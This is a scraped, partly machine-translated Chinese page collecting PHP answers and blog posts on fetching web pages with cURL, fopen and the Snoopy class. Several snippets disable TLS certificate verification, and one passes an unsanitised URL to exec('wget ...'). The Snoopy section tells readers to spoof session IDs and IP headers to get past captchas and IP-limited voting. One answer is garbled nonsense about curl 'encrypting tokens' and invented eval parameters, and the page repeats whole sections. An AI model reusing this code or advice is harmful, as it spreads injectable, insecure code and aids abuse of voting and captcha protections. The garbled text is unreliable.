curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
$url = "http://www.google.com";
echo curl_load($url);
答案 2 :( 得分:3)
//你可以试试这个。它应该可以正常工作。
function curl_tt($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
echo curl_tt("https://google.com");
答案 3 :( 得分:2)
我在通过直接链接访问 Google 云端硬盘内容时遇到了这个问题。
调用file_get_contents后返回302暂时移动
//Any google url. This example is fake for Google Drive direct link.
$url = "https://drive.google.com/uc%3F ... 3B%3B
$html = file_get_contents($url);
echo $html; //print none because error 302.
它再次使用以下代码:
//Any google url. This example is fake for Google Drive direct link.
$url = "https://drive.google.com/uc%3F ... 3B%3B
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$html = curl_exec($ch);
curl_close($ch);
echo $html;
我今天测试了它,03/19/201 查看全部
php curl抓取网页指定内容(-get-contents我使用file_get_contents函数)
标签:phpcurlfile-get-contents
我使用 file_get_contents 函数在我的特定页面上获取和显示外部链接。
在我的本地文件中一切正常,但我的服务器不支持 file_get_contents 功能,所以我尝试使用 cURL 和下面的代码:
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
echo file_get_contents_curl('http://google.com');
但它返回一个空白页。有什么问题?
4 个答案:
答案 0 :( 得分:75)
试试这个:
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
答案 1 :( 得分:10)
这应该可以工作
function curl_load($url){
curl_setopt($ch=curl_init(), CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
$url = "http://www.google.com";
echo curl_load($url);
答案 2 :( 得分:3)
//你可以试试这个。它应该可以正常工作。
function curl_tt($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
echo curl_tt("https://google.com");
答案 3 :( 得分:2)
我在通过直接链接访问 Google 云端硬盘内容时遇到了这个问题。
调用file_get_contents后返回302暂时移动
//Any google url. This example is fake for Google Drive direct link.
$url = "https://drive.google.com/uc%3F ... 3B%3B
$html = file_get_contents($url);
echo $html; //print none because error 302.
它再次使用以下代码:
//Any google url. This example is fake for Google Drive direct link.
$url = "https://drive.google.com/uc%3F ... 3B%3B
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$html = curl_exec($ch);
curl_close($ch);
echo $html;
我今天测试了它,03/19/201
php curl抓取网页指定内容(Snoopy($uri)的一些功能特点及特点分析 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-04-04 01:17
)
snoopy 是一个模仿 Web 浏览器功能的 php 类,可以执行诸如获取网页内容和发送表单等任务。官方网站
史努比的一些特点:
需要php4或更高版本。由于是php类,不需要扩展,是服务器不支持curl时的最佳选择。
类方法
1.获取($uri)
这是用于抓取网页内容的方法。 $URI 参数是被抓取网页的 URL 地址。获取的结果存储在 $this->results 中。
如果你正在抓取一个帧,Snoopy 将跟踪每个帧并将其存储在一个数组中,然后 $this->results。
2.fetchtext($URI)
该方法与fetch()类似,唯一不同的是该方法会去除HTML标签等无关数据,只返回网页中的文本内容。
3.fetchform($URI)
该方法与fetch()类似,唯一不同的是该方法会去除HTML标签等无关数据,只返回网页中的表单内容(form)。
4.fetchlinks($URI)
这个方法和fetch()类似,唯一的区别是这个方法会去掉HTML标签等不相关的数据,只返回网页中的链接。默认情况下,相对链接将自动填充为完整的 URL。
5.提交($URI,$formvars)
此方法向 $URL 指定的链接地址发送确认表单。 $formvars 是一个存储表单参数的数组。
6.提交文本($URI,$formvars)
该方法与submit()类似,唯一不同的是该方法会去除HTML标签等无关数据,登录后只返回网页的文本内容。
7.提交链接($URI)
这个方法和submit()类似,唯一的区别是这个方法会去掉HTML标签等不相关的数据,只返回网页中的链接。默认情况下,相对链接将自动填充为完整的 URL。
演示
include "Snoopy.class.php";$snoopy = new Snoopy;
$snoopy->proxy_host = "http://www.nowamagic.net/librarys/veda/";
$snoopy->proxy_port = "80";
$snoopy->agent = "(compatible; MSIE 4.01; MSN 2.5; AOL 4.0; Windows 98)";
$snoopy->referer = "http://www.4wei.cn";
$snoopy->cookies["SessionID"] = 238472834723489l;
$snoopy->cookies["favoriteColor"] = "RED";
$snoopy->rawheaders["Pragma"] = "no-cache";
$snoopy->maxredirs = 2;
$snoopy->offsiteok = false;
$snoopy->expandlinks = false;
$snoopy->user = "joe";
$snoopy->pass = "bloe";
if($snoopy->fetchtext("http://www.4wei.cn"))
{
echo "".htmlspecialchars($snoopy->results)."
n";
}
其他
echo "获取文档时出错:".$snoopy->error."n";
获取指定url的内容:
表单提交:
现在表单已经提交,可以做很多事情。接下来,我们伪装ip,伪装浏览器:
原来我们可以伪装session,伪装浏览器,伪装ip,哈哈可以做很多事情。比如有验证码,验证ip投票,就可以继续投票。
ps:这里的伪装ip其实就是伪装http头,所以一般通过REMOTE_ADDR获取的ip是无法伪装的,但是通过http头获取ip的(可以防止代理的那种)可以自己创建ip .
关于如何验证码,简单来说:先用普通浏览器,查看页面,找到验证码对应的sessionid,记下sessionid和验证码值,然后用snoopy进行伪造。
原理:因为是同一个sessionid,所以得到的验证码和第一次输入的一样。
有时我们可能需要伪造更多的东西,史努比完全为我们解决了这个问题:
比较完整的演示
/**
* You need the snoopy.class.php from
* http://snoopy.sourceforge.net/
*/
include("snoopy.class.php");
$snoopy = new Snoopy;
// need an proxy?:
//$snoopy->proxy_host = "my.proxy.host";
//$snoopy->proxy_port = "8080";
// set browser and referer:
$snoopy->agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
$snoopy->referer = "http://www.jonasjohn.de/";
// set some cookies:
$snoopy->cookies["SessionID"] = '238472834723489';
$snoopy->cookies["favoriteColor"] = "blue";
// set an raw-header:
$snoopy->rawheaders["Pragma"] = "no-cache";
// set some internal variables:
$snoopy->maxredirs = 2;
$snoopy->offsiteok = false;
$snoopy->expandlinks = false;
// set username and password (optional)
//$snoopy->user = "joe";
//$snoopy->pass = "bloe";
// fetch the text of the website www.google.com:
if($snoopy->fetchtext("http://www.baidu.com")){
// other methods: fetch, fetchform, fetchlinks, submittext and submitlinks
// response code:
print "response code: ".$snoopy->response_code."
n";
// print the headers:
print "<b>Headers:
";
while(list($key,$val) = each($snoopy->headers)){
print $key.": ".$val."
n";
}
print "
n";
// print the texts of the website:
print htmlspecialchars($snoopy->results)."n";
}
else {
print "Snoopy: error while fetching document: ".$snoopy->error."n";
}
使用史努比类完成一张简单的图片采集:
<p> 查看全部
php curl抓取网页指定内容(Snoopy($uri)的一些功能特点及特点分析
)
snoopy 是一个模仿 Web 浏览器功能的 php 类,可以执行诸如获取网页内容和发送表单等任务。官方网站
史努比的一些特点:
需要php4或更高版本。由于是php类,不需要扩展,是服务器不支持curl时的最佳选择。
类方法
1.获取($uri)
这是用于抓取网页内容的方法。 $URI 参数是被抓取网页的 URL 地址。获取的结果存储在 $this->results 中。
如果你正在抓取一个帧,Snoopy 将跟踪每个帧并将其存储在一个数组中,然后 $this->results。
2.fetchtext($URI)
该方法与fetch()类似,唯一不同的是该方法会去除HTML标签等无关数据,只返回网页中的文本内容。
3.fetchform($URI)
该方法与fetch()类似,唯一不同的是该方法会去除HTML标签等无关数据,只返回网页中的表单内容(form)。
4.fetchlinks($URI)
这个方法和fetch()类似,唯一的区别是这个方法会去掉HTML标签等不相关的数据,只返回网页中的链接。默认情况下,相对链接将自动填充为完整的 URL。
5.提交($URI,$formvars)
此方法向 $URL 指定的链接地址发送确认表单。 $formvars 是一个存储表单参数的数组。
6.提交文本($URI,$formvars)
该方法与submit()类似,唯一不同的是该方法会去除HTML标签等无关数据,登录后只返回网页的文本内容。
7.提交链接($URI)
这个方法和submit()类似,唯一的区别是这个方法会去掉HTML标签等不相关的数据,只返回网页中的链接。默认情况下,相对链接将自动填充为完整的 URL。
演示
include "Snoopy.class.php";$snoopy = new Snoopy;
$snoopy->proxy_host = "http://www.nowamagic.net/librarys/veda/";
$snoopy->proxy_port = "80";
$snoopy->agent = "(compatible; MSIE 4.01; MSN 2.5; AOL 4.0; Windows 98)";
$snoopy->referer = "http://www.4wei.cn";
$snoopy->cookies["SessionID"] = 238472834723489l;
$snoopy->cookies["favoriteColor"] = "RED";
$snoopy->rawheaders["Pragma"] = "no-cache";
$snoopy->maxredirs = 2;
$snoopy->offsiteok = false;
$snoopy->expandlinks = false;
$snoopy->user = "joe";
$snoopy->pass = "bloe";
if($snoopy->fetchtext("http://www.4wei.cn"))
{
echo "".htmlspecialchars($snoopy->results)."
n";
}
其他
echo "获取文档时出错:".$snoopy->error."n";
获取指定url的内容:
表单提交:
现在表单已经提交,可以做很多事情。接下来,我们伪装ip,伪装浏览器:
原来我们可以伪装session,伪装浏览器,伪装ip,哈哈可以做很多事情。比如有验证码,验证ip投票,就可以继续投票。
ps:这里的伪装ip其实就是伪装http头,所以一般通过REMOTE_ADDR获取的ip是无法伪装的,但是通过http头获取ip的(可以防止代理的那种)可以自己创建ip .
关于如何验证码,简单来说:先用普通浏览器,查看页面,找到验证码对应的sessionid,记下sessionid和验证码值,然后用snoopy进行伪造。
原理:因为是同一个sessionid,所以得到的验证码和第一次输入的一样。
有时我们可能需要伪造更多的东西,史努比完全为我们解决了这个问题:
比较完整的演示
/**
* You need the snoopy.class.php from
* http://snoopy.sourceforge.net/
*/
include("snoopy.class.php");
$snoopy = new Snoopy;
// need an proxy?:
//$snoopy->proxy_host = "my.proxy.host";
//$snoopy->proxy_port = "8080";
// set browser and referer:
$snoopy->agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
$snoopy->referer = "http://www.jonasjohn.de/";
// set some cookies:
$snoopy->cookies["SessionID"] = '238472834723489';
$snoopy->cookies["favoriteColor"] = "blue";
// set an raw-header:
$snoopy->rawheaders["Pragma"] = "no-cache";
// set some internal variables:
$snoopy->maxredirs = 2;
$snoopy->offsiteok = false;
$snoopy->expandlinks = false;
// set username and password (optional)
//$snoopy->user = "joe";
//$snoopy->pass = "bloe";
// fetch the text of the website www.google.com:
if($snoopy->fetchtext("http://www.baidu.com")){
// other methods: fetch, fetchform, fetchlinks, submittext and submitlinks
// response code:
print "response code: ".$snoopy->response_code."
n";
// print the headers:
print "<b>Headers:
";
while(list($key,$val) = each($snoopy->headers)){
print $key.": ".$val."
n";
}
print "
n";
// print the texts of the website:
print htmlspecialchars($snoopy->results)."n";
}
else {
print "Snoopy: error while fetching document: ".$snoopy->error."n";
}
使用史努比类完成一张简单的图片采集:
<p>
php curl抓取网页指定内容(phpcurl抓取网页指定内容的时候是在你的token上加密)
网站优化 • 优采云 发表了文章 • 0 个评论 • 50 次浏览 • 2022-04-02 11:07
phpcurl抓取网页指定内容的时候是在你的token上加密,请求数据的时候输入你的token也是需要输入密码的所以,eval是无法传递token的。而phpcurl的argumentfirst是传递给系统的,php需要用preg_match等工具把获取到的uri“一句一句”输入到preg_match后面,然后你就会得到最终结果。不然你试一下再插入一条搜索词。
php不支持eval,而且eval的eval在php中只有可选参数__version,没有默认值__ltn和__fib。题主说得phpcurl库应该不是php转发的eval,而是兼容eval的phpcurl库。php转发的eval在转发过程中在ca设置。
只能拿出那个例子去认真学习php吧...
1.curl缺少__version2.没有__ltn和__fib,只有__verbosephp开发者把eval封装了好像;你可以在chacx/php-authex·github下关注chacx;2.1里面request没有request_string;2.2里面request_string与url要分开理解;//这句话都是讲怎么request与request_string。
1和2可以同理2.3里面request_string缺少__method;2.4里面request_string缺少__length;2.5里面缺少__version;2.6里面缺少__fib与__msg;2.7里面缺少__verbose__;这些都是php语言一些函数的使用标准;你用起来会不顺手;建议你还是认真理解php语言吧..。 查看全部
php curl抓取网页指定内容(phpcurl抓取网页指定内容的时候是在你的token上加密)
phpcurl抓取网页指定内容的时候是在你的token上加密,请求数据的时候输入你的token也是需要输入密码的所以,eval是无法传递token的。而phpcurl的argumentfirst是传递给系统的,php需要用preg_match等工具把获取到的uri“一句一句”输入到preg_match后面,然后你就会得到最终结果。不然你试一下再插入一条搜索词。
php不支持eval,而且eval的eval在php中只有可选参数__version,没有默认值__ltn和__fib。题主说得phpcurl库应该不是php转发的eval,而是兼容eval的phpcurl库。php转发的eval在转发过程中在ca设置。
只能拿出那个例子去认真学习php吧...
1.curl缺少__version2.没有__ltn和__fib,只有__verbosephp开发者把eval封装了好像;你可以在chacx/php-authex·github下关注chacx;2.1里面request没有request_string;2.2里面request_string与url要分开理解;//这句话都是讲怎么request与request_string。
1和2可以同理2.3里面request_string缺少__method;2.4里面request_string缺少__length;2.5里面缺少__version;2.6里面缺少__fib与__msg;2.7里面缺少__verbose__;这些都是php语言一些函数的使用标准;你用起来会不顺手;建议你还是认真理解php语言吧..。
php curl抓取网页指定内容(PHP外部资源函数fopen/file_get_contents好很多)
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-03-31 00:02
1、fopen 的使用
复制代码代码如下:
复制代码代码如下:
// 以下代码可用于 PHP 5 及以上版本
但是上面的代码很容易出现开流失败:HTTP request failed!错误,解决方法
有人说在php.ini中有两个选项:allow_url_fopen =on(表示可以通过url打开远程文件),user_agent="PHP"(表示使用哪个脚本访问网络,还有一个" ;" 默认在它前面。是的。)重新启动服务器。
但他们中的一些人仍然有这个警告信息。距离完美解决方案还有一步之遥。您必须在 php.ini 中设置 user_agent。php的默认user_agent是PHP,我们改成Mozilla/4.0(兼容Mozilla/4.0)。; MSIE 6.0; Windows NT 5.0) 模拟浏览器
<IMG border="0" src="/upload/201906/30/201906301524089947.gif" />
user_agent="Mozilla/4.0(兼容;MSIE 6.0;Windows NT 5.0)"
工作中遇到这个问题,完美解决了,分享给大家。
2、由 curl 实现
复制代码代码如下:
linux下,可以使用以下代码下载
exec("wget {$url}");
PHP抓取外部资源函数fopen/file_get_contents/curl的区别
fopen/file_get_contents 会为每个请求重新做 DNS 查询,并且不缓存 DNS 信息。
但是 CURL 会自动缓存 DNS 信息。对同一域名下的网页或图片的请求只需要一次 DNS 查询。
这大大减少了 DNS 查询的数量。
所以 CURL 的性能比 fopen/file_get_contents 好很多。 查看全部
php curl抓取网页指定内容(PHP外部资源函数fopen/file_get_contents好很多)
1、fopen 的使用
复制代码代码如下:
复制代码代码如下:
// 以下代码可用于 PHP 5 及以上版本
但是上面的代码很容易出现开流失败:HTTP request failed!错误,解决方法
有人说在php.ini中有两个选项:allow_url_fopen =on(表示可以通过url打开远程文件),user_agent="PHP"(表示使用哪个脚本访问网络,还有一个" ;" 默认在它前面。是的。)重新启动服务器。
但他们中的一些人仍然有这个警告信息。距离完美解决方案还有一步之遥。您必须在 php.ini 中设置 user_agent。php的默认user_agent是PHP,我们改成Mozilla/4.0(兼容Mozilla/4.0)。; MSIE 6.0; Windows NT 5.0) 模拟浏览器
<IMG border="0" src="/upload/201906/30/201906301524089947.gif" />
user_agent="Mozilla/4.0(兼容;MSIE 6.0;Windows NT 5.0)"
工作中遇到这个问题,完美解决了,分享给大家。
2、由 curl 实现
复制代码代码如下:
linux下,可以使用以下代码下载
exec("wget {$url}");
PHP抓取外部资源函数fopen/file_get_contents/curl的区别
fopen/file_get_contents 会为每个请求重新做 DNS 查询,并且不缓存 DNS 信息。
但是 CURL 会自动缓存 DNS 信息。对同一域名下的网页或图片的请求只需要一次 DNS 查询。
这大大减少了 DNS 查询的数量。
所以 CURL 的性能比 fopen/file_get_contents 好很多。